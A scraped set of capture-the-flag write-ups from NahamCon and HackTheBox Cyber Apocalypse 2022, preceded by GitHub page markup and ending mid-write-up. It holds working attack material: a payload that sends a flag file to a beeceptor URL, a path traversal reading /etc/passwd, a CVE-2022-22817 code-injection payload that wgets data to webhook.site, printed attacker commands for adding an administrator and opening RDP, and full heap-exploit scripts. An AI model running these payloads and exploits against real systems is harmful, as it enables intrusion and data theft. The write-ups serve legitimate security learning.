</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
```python#!/usr/bin/env python3
# You can use your own server or tool like RequestBin or Beeceptor to intercept request in an easy way# Flag will apear in the url
from pwn import *
p = remote('challenge.nahamcon.com', 30079)
URL = "https://lold2.free.beeceptor.com/"
# import urllib2# import urllib# data = open("/flag.txt").read()# url = URL + data# req. = urllib2.Request(url)# urllib2.urlopen(req)
payload = f'''GIMME urllib2GIMME urllibdata CAN HAS open WIT "/flag.txt"! OWN read THINGurl CAN HAS "{URL}" ALONG WITH datareq CAN HAS urllib2 OWN Request WIT url !urllib2 OWN urlopen WIT req !'''
print(p.recvuntil('MAYB I RUN 4 U!').decode(encoding='ascii'))p.sendline(payload)print("Flag:", p.recvall().decode(encoding='ascii').strip().replace("flag", "flag{") + "}")``` |
Complete writeup at https://h1pmnh.github.io/post/ctf-htb-cyber-apolcalypse-web-genesis-wallet/
(Apologies for not inluding here, it is very long and not easy to translate to CTFTime formatting). |
So we are given an endpoint we can `netcat` into and it presents us with the following:
```shellCompressor[*] Directory to work in: QqcbsvCcKGxpk7n6JNvqNxPB19gC5OiBComponent List:+===============+| || 1. Head ? || 2. Torso ? || 3. Hands ? || 4. Legs ? || |+===============+[*] Choose component: 1[*] Sub-directory to work in: QqcbsvCcKGxpk7n6JNvqNxPB19gC5OiB/HeadActions:
Create artifactList directory (pwd; ls -la)Read artifact (cat ./)Compress artifact (zip .zip )Change directory (cd )Clean directory (rm -rf ./*)Exit```
Let's try reading an artifact and passing it something they didn't intend
```shell[*] Choose action: 3Insert name you want to read: ../../../../etc/passwdroot:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown...ctf:x:1000:1000:1000:/home/ctf:/bin/sh```
Great, so we can read arbitrary files!
```shellActions:
Create artifactList directory (pwd; ls -la)Read artifact (cat ./)Compress artifact (zip .zip )Change directory (cd )Clean directory (rm -rf ./*)Exit
[*] Choose action: 1Insert name: ../Insert content: #!/bin/bashTraceback (most recent call last):File "/home/ctf/artifacts.py", line 104, increate_file()File "/home/ctf/artifacts.py", line 74, in create_filef = open(fname, "a")IsADirectoryError: [Errno 21] Is a directory: '../'Actions:
Create artifactList directory (pwd; ls -la)Read artifact (cat ./)Compress artifact (zip .zip )Change directory (cd )Clean directory (rm -rf ./*)Exit```
So first thought after this was since we can access filepaths seemingly indiscriminately, lets trying zipping them all up together
```shell[*] Choose action: 4Insert .zip: test.zipInsert : testInsert : -r ../../../adding: test (stored 0%)adding: ../../../ (stored 0%)adding: ../../../ctf/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Head/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Hands/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Torso/ (stored 0%)...adding: ../../../ctf/F9mZ4CfUW9NVXjEwShKzvoNYhq7DNwIb/Torso/ (stored 0%)adding: ../../../ctf/F9mZ4CfUW9NVXjEwShKzvoNYhq7DNwIb/Legs/ (stored 0%)adding: ../../../ctf/artifacts.py (deflated 63%)adding: ../../../ctf/clear.py (deflated 32%)adding: ../../../ctf/flag.txt (stored 0%)Actions:```
and since it pastes the output we now know where the flag is!
```shellCreate artifactList directory (pwd; ls -la)Read artifact (cat ./)Compress artifact (zip .zip )Change directory (cd )Clean directory (rm -rf ./*)Exit
[*] Choose action: 3Insert name you want to read: ../../../ctf/flag.txtHTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}```
`Flag: HTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}` |
Loading up the page we see a weird spotlight page ala Among Us, and we have the ability to upload images to replace our two sus peeps
(Apologies, didn't get a better pic but there is something there!)
```http request POST /api/alphafy HTTP/1.1
{ “image”:”iVBORw...ElFTkSuQmCC” ,”background”:[ 255, 255, 255 ] }```
So it sends out an encoded image and background colors. Looking at the source code, we see that it uses ImageMath.eval which has a known CVE
```pythonnew_bands = [ ImageMath.eval( 'convert((image - color) / alpha + color, "L")', image=img_bands[i], color=color[i], alpha=alpha ) for i in range(3)]```
So if we instead make use of the `ImageMath.eval` working on the color portions we can try to see if we can make use of [CVE-2022-22817](https://www.cvedetails.com/cve/CVE-2022-22817/) using the following payload in any of the `background` parameters to cat the file and wget it back to a webhook as a get parameter
```shell"exec('import os;os.system(\"flag=$(cat ../flag.txt);wget https://webhook.site/{your_webhook_uuid}?flag=${flag}\")')"```
Final payload
```http requestPOST /api/alphafy HTTP/1.1
{ “image”:”iVBORw...ElFTkSuQmCC” , ”background”:[ "exec('import os;os.system(\"flag=$(cat ../flag.txt);wget https://webhook.site/{your_webhook_uuid}?flag=${flag}\")')", 255, 255 ]}```
`Flag: HTB{i_slept_my_way_to_rce}` |
We are given a pcap file that looks like a bunch of windows update traffic. Poking around we see a bunch of weird DNS traffic with a few TXT answers.
as well as a url to `http://windowsliveupdater.com/desktop.png`. Checking the image, it looks to be a base64 encoded [payload](https://gitlab.com/ny167-ctfs/htb-cyber-apocalypse-2022/-/blob/main/Forensics/Automation/payload.ps1). On the DNS request side, each of the answers looks to be base64 encoded strings:
Running the strings through the Decrypt-String function we found in the payload we get:
```powershellhostnamewhoamiipconfigwmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /valuenet user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsrnetsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389net start TermService ```
Pushing `JHBhcnQxPSdIVEJ7eTB1X2M0bl8n` through the Decrypt function we get part of the flag! `$ part1='HTB{y0u_c4n_'`
The second part of the flag can be found in the payload layout:- First it gets a bunch of strings from the DNS server- Decrypts them- Splits them into chunks of 32
```powershell$pr = Encrypt-String $key $output|parts 32```
- Finally, it then pushes out a DNS request starting with `start.windowsliveupdater.com` and ending with `end.windowsliveupdater.com`. In between, it takes each chunk of 32 and prepends it to `.windowsliveupdater.com` using the following:
```powershell$domain = -join($pr[$ans],".windowsliveupdater.com")Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189```
So, to recover the info we just need to grab all the strings between `start` and `end`, convert them back into base64 strings, and push them through the decrypt function to get the second half of the flag:
`Flag: HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}` |
1. fastbin consolidate to leak libc2. brute force 4 bits of ASLR to get a value of 0x3e into libc got3. fastbin dup into libc got4. fastbin dup a bit further down5. overwrite the strchrnul got entry to one shot gadget6. printf calls strchrnul internally -> win
```from pwn import *
elf = context.binary = ELF("./once_and_for_all")
libc = ELF("./libc.so.6")
def add(idx, size, payload=b'A'): p.sendlineafter(b'>> ', b'1') p.sendlineafter(b': ', str(idx).encode()) p.sendlineafter(b': ', str(size).encode()) p.sendafter(b': \n', payload)
def fix(idx, size, payload): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(idx).encode()) p.sendlineafter(b': ', str(size).encode()) p.sendafter(b': \n', payload) p.sendlineafter(b'>> ', b'2')
def free(idx): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(idx).encode()) p.sendlineafter(b': ', str(0x0).encode())
def examine(idx): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b': ', str(idx).encode())
def add_big(size): p.sendlineafter(b'>> ', b'4') p.sendlineafter(b': ', str(size).encode())
def libc_leak(): add(0, 0x20) free(0) add_big(0x5b0) add(1, 0x28) free(0) examine(0) return u64(p.recv(6).ljust(8, b'\x00'))
while True: # p = remote('68.183.37.6', 31490) p = process("./once_and_for_all")
libc.address = libc_leak() - 0x3ebca0 log.info(f'libc @ 0x{libc.address:x}')
# 4 bits bruteforce if (libc.address + 0x616000) & 0xffff == 0: break
libc.address = 0 p.close()
# fastbin dup into libc gotadd(2, 0x28)add(3, 0x28)free(3)free(2)free(3)fix(2, 0x28, p64(libc.address + 0x3eb000 - 8 + 2)) # gef➤ tele 0x7f667597a000+0x3eb000-8+2 # 0x00007f6675d64ffa│+0x0000: 0xab80000000000000 # 0x00007f6675d65002│+0x0008: 0x000000000000003e
add(4, 0x28)add(5, 0x28)add(6, 0x28, flat({0x20 - 2: 0x40})) # place 0x40 there for the next stage
# fastbin dup a bit further downadd(7, 0x38)add(8, 0x38)free(8)free(7)free(8)fix(7, 0x38, p64(libc.address + 0x3eb000 + 0x20))add(9, 0x38)add(10, 0x38)add(11, 0x38, flat({24: libc.address + 0x4f322})) # strchrnul got entry -> one shot
# printf calls strchrnul internally -> winp.interactive()``` |
---title: "[HackTheBox Cyber Apocalypse 2022 - pwn] Once and for all"date: 2022-05-19tags: ["ctf", "HackTheBox"]categories: "pwn"---
Once for all is a heap challenge I did during the HackTheBox Cyber Apocalypse event. This is a classic unsorted bin attack plus a FSOP on stdin.Find the tasks and the final exploit [here](https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/) and [here](https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/exploit.py).
# Reverse engineering
All the snippets of pseudo-code are issued by [IDA freeware](https://hex-rays.com/ida-free/):```cint __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [rsp+18h] [rbp-8h] BYREF int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 49; ++i ) { puts(s); printf(&unk_1310); __isoc99_scanf(&unk_13C8, &v4;; puts(s); switch ( v4 ) { case 1: small_alloc(s); break; case 2: fix(s); break; case 3: examine(s); break; case 4: savebig(s); break; case 5: exit(0); default: puts("[-] Invalid choice!"); break; } } return 0;}```
The binary allows you to allocate a small chunk beetween `0x1f` and `0x38` bytes:```cint small_alloc(){ __int64 v1; // rbx size_t nmemb; // [rsp+0h] [rbp-20h] BYREF __int64 idx[3]; // [rsp+8h] [rbp-18h] BYREF
if ( allocated == 15 ) return puts("Nothing more!"); ++allocated; printf("Choose an index: "); __isoc99_scanf("%lu", idx); if ( size_array[2 * idx[0]] || (&alloc_array)[2 * idx[0]] || idx[0] > 0xEuLL ) return puts("[-] Invalid!"); printf("\nHow much space do you need for it: "); __isoc99_scanf("%lu", &nmemb); if ( nmemb <= 0x1F || nmemb > 0x38 ) return puts("[-] Your inventory cannot provide this type of space!"); size_array[2 * idx[0]] = nmemb; v1 = idx[0]; (&alloc_array)[2 * v1] = (void **)calloc(nmemb, 1uLL); if ( !(&alloc_array)[2 * idx[0]] ) { puts("[-] Something didn't work out..."); exit(-1); } puts("Input your weapon's details: "); # off-by-one return read(0, (&alloc_array)[2 * idx[0]], nmemb + 1);}```
As you can see right above this function contains an off-by-one vulnerability, which means we can write only one byte right after the allocated chunk, overlapping the size field of the next chunk / top chunk.
The fix function frees a chunk and asks for another size, then it allocates another chunk with `calloc`.```cint fix(){ int result; // eax unsigned __int64 v1; // rbx unsigned __int64 idx; // [rsp+8h] [rbp-28h] BYREF size_t size; // [rsp+10h] [rbp-20h] BYREF __int64 v4[3]; // [rsp+18h] [rbp-18h] BYREF
printf("Choose an index: "); __isoc99_scanf("%lu", &idx); if ( !size_array[2 * idx] || !alloc_array[2 * idx] || idx > 0xE ) return puts("[-] Invalid!"); puts("Ok, let's get you some new parts for this one... seems like it's broken"); free(alloc_array[2 * idx]); printf("\nHow much space do you need for this repair: "); __isoc99_scanf("%lu", &size); if ( size <= 0x1F || size > 0x38 ) # [1] return puts("[-] Your inventory cannot provide this type of space."); size_array[2 * idx] = size; v1 = idx; alloc_array[2 * v1] = calloc(size, 1uLL); if ( !alloc_array[2 * idx] ) { puts("Something didn't work out..."); exit(-1); } puts("Input your weapon's details: "); read(0, alloc_array[2 * idx], size); printf("What would you like to do now?\n1. Verify weapon\n2. Continue\n>> "); __isoc99_scanf("%lu", v4); result = v4[0]; if ( v4[0] == 1 ) { if ( verified ) { return puts(&unk_1648); } else { result = puts((const char *)alloc_array[2 * idx]); verified = 1; } } return result;}```If we reach `[1]`, `alloc_array[2 * idx]` is freed leading to a double free.
We can print a chunk only one time:```cint examine(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] BYREF
if ( examined ) return puts(&unk_14D0); examined = 1; printf("Choose an index: "); __isoc99_scanf("%lu", &v1;; if ( size_array[2 * v1] && alloc_array[2 * v1] && v1 <= 0xE ) return puts((const char *)alloc_array[2 * v1]); else return puts("[-] Invalid!");}```
Finally we can malloc a huge chunk, but we cannot wriet anything within:```cint savebig(){ void *v0; // rax size_t size; // [rsp+8h] [rbp-8h] BYREF
if ( chungus_weapon || qword_202068 ) { LODWORD(v0) = puts(&unk_16E8); } else { printf("How much space do you need for this massive weapon: "); __isoc99_scanf("%lu", &size); if ( (unsigned __int16)size > 0x5AFu && (unsigned __int16)size <= 0xF5C0u ) { puts("Adding to your inventory.."); chungus_weapon = size; v0 = malloc(size); qword_202068 = (__int64)v0; } else { LODWORD(v0) = puts("[-] This is not possible.."); } } return (int)v0;}```
# Exploitation
## What we have
- An off-by-one when we create a new chunk- Double free by calling `fix` and then providing an invalid size.- Trivial read after free thanks to the double free.
## Restrictions
- The program does not use `printf` with a format specifer, then we cannot do a [House of husk](https://maxwelldulin.com/BlogPost?post=3107454976).- We can only allocate `15` chunks.- All the allocations except the big one are made using `calloc`, even if it can be easily bypassed by adding the `IS_MAPPED` flag to the chunk header to avoid zero-ing.- The libc version (`2.27`) mitigates a few techniques, especially the [House of Orange](https://1ce0ear.github.io/2017/11/26/study-house-of-orange/) and introduces the `tcache`.- Allocations have to fit in only two fastbins (`0x30` / `0x40`), which means we cannot get an arbitrary with a `fastbin dup` technique due to the size of most of interesting memory areas in the libc (`0x7f` => `0x70` fastbin against `0x30` / `0x40` in our case).
## How to leak libc ?
Partial overwrites are as far as I know very hard to get because of `calloc`. The first thing to do is to leak libc addresses to then target libc global variables / structures. The classic way to get a libc leak is to free a chunk that belongs to the unsorted bin and then print it. But as seen previously, we cannot allocate a large chunks that would end up in the unsorted bin. To do so we have to use the off-by-one bug to overwrite the next chunk's size field with a bigger one that would correspond to the unsorted bin (` >= 0x90 `). We can edit the size of the second chunk from `0x30` to `0xb0` by doing:```pydef add(idx, size, data, hang=False): io.sendlineafter(b">> ", b"1") io.sendlineafter(b"Choose an index: ", str(idx).encode()) io.sendlineafter(b"How much space do you need for it: ", str(size).encode()) if hang == True: return
io.sendlineafter(b"Input your weapon's details: \n", data)
def freexalloc(idx, size, data, doubleFree=False): io.sendlineafter(b">> ", b"2") io.sendlineafter(b"Choose an index: ", str(idx).encode()) io.sendlineafter(b"How much space do you need for this repair: ", str(size).encode())
if doubleFree: return
io.sendlineafter(b"Input your weapon's details: \n", data) io.sendlineafter(b">> ", b"1")
def show(idx): io.sendlineafter(b">> ", b"3") io.sendlineafter(b"Choose an index: ", str(idx).encode())
def allochuge(size): io.sendlineafter(b">> ", b"4") io.sendlineafter(b"How much space do you need for this massive weapon: ", str(size).encode())
# get libc leak
add(0, 56, b"A"*55)add(1, 56, b"B"*39)add(2, 40, b"C"*39) # sizeadd(4, 56, b"D"*(0x10))add(5, 40, b"E"*39)
add(10, 40, pwn.p64(0) + pwn.p64(0x21)) # barrier
# freexalloc(5, 560, b"", doubleFree=True)
freexalloc(1, 560, b"", doubleFree=True)freexalloc(0, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)
freexalloc(1, 560, b"", doubleFree=True)add(6, 56, b"\x00"*56 + b"\xb1") # fake unsorted chunk
"""0x555555608560: 0x0000000000000000 0x0000000000000041 [0]0x555555608570: 0x00005555556085a0 0x41414141414141410x555555608580: 0x4141414141414141 0x41414141414141410x555555608590: 0x4141414141414141 0x41414141414141410x5555556085a0: 0x0a41414141414141 0x0000000000000041 [1]0x5555556085b0: 0x0000000000000000 0x00000000000000000x5555556085c0: 0x0000000000000000 0x00000000000000000x5555556085d0: 0x0000000000000000 0x00000000000000000x5555556085e0: 0x0000000000000000 0x00000000000000b1 [2] <- Fake size | PREV_INUSE (1)0x5555556085f0: 0x0000000000000000 0x4343434343434343 0x555555608600: 0x4343434343434343 0x4343434343434343 0x555555608610: 0x0a43434343434343 0x0000000000000041 [3] 0x555555608620: 0x4444444444444444 0x4444444444444444 0x555555608630: 0x000000000000000a 0x00000000000000000x555555608640: 0x0000000000000000 0x0000000000000000 0x555555608650: 0x0000000000000000 0x0000000000000031 [4] 0x555555608660: 0x4545454545454545 0x4545454545454545 0x555555608670: 0x4545454545454545 0x4545454545454545 0x555555608680: 0x0a45454545454545 0x0000000000000031 [10] 0x555555608690: 0x0000000000000000 0x0000000000000021 <- Fake chunk header 0x5555556086a0: 0x000000000000000a 0x00000000000000000x5555556086b0: 0x0000000000000000 0x0000000000020951 <- Top chunk
fastbins0x30: 0x5555556085e0 ◂— 0x00x40: 0x555555608560 —▸ 0x5555556085a0 ◂— 0x0"""
```
We allocate 6 chunks, we do need of 6 chunks because of the fake size we write on `chunk_2` (`&chunk_2` + `0xb0` = `0x555555608690`, in the last chunk near the top chunk). In the same way we craft a fake header in the body of the last chunk to avoid issues during the release of `chunk_2`. If you're not familiar with the security checks done by `malloc` and `free`, I would advise you to take a look at [this resource](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks).
Now that `chunk_2` has been tampered with a fake `0xb0` size, we just have to free it 8 times (to fill the tcache) to put it in the unsorted bin:```pyfreexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)# falls into the unsortedbin
show(2)
libc = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebca0 # offset of the unsorted bin
stdin = libc + 0x3eba00pwn.log.info(f"libc: {hex(libc)}")
"""0x555555608560: 0x0000000000000000 0x00000000000000410x555555608570: 0x00005555556085a0 0x41414141414141410x555555608580: 0x4141414141414141 0x41414141414141410x555555608590: 0x4141414141414141 0x41414141414141410x5555556085a0: 0x0a41414141414141 0x00000000000000410x5555556085b0: 0x0000000000000000 0x00000000000000000x5555556085c0: 0x0000000000000000 0x00000000000000000x5555556085d0: 0x0000000000000000 0x00000000000000000x5555556085e0: 0x0000000000000000 0x00000000000000b10x5555556085f0: 0x00007ffff7dcfca0 0x00007ffff7dcfca00x555555608600: 0x4343434343434343 0x43434343434343430x555555608610: 0x0a43434343434343 0x00000000000000410x555555608620: 0x4444444444444444 0x44444444444444440x555555608630: 0x000000000000000a 0x00000000000000000x555555608640: 0x0000000000000000 0x00000000000000000x555555608650: 0x0000000000000000 0x00000000000000310x555555608660: 0x4545454545454545 0x45454545454545450x555555608670: 0x4545454545454545 0x45454545454545450x555555608680: 0x0a45454545454545 0x00000000000000310x555555608690: 0x00000000000000b0 0x00000000000000200x5555556086a0: 0x000000000000000a 0x00000000000000000x5555556086b0: 0x0000000000000000 0x0000000000020951
unsortedbinall: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0tcachebins0xb0 [ 7]: 0x5555556085f0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555556086b0 ◂— 0x0"""```
Which gives:```Shellnasm@off:~/Documents/pwn/HTB/apocalypse/onceAndmore$ python3 exploit.py LOCAL GDB NOASLR[*] '/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/out'[!] Debugging process with ASLR disabled[+] Starting local process '/usr/bin/gdbserver': pid 31378[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all', '-x', '/tmp/pwn1z_5e0ie.gdb'][*] libc: 0x7ffff79e4000```
We now have achieved the first step of the challenge: leak the libc base address.
## What can we target in the libc ?
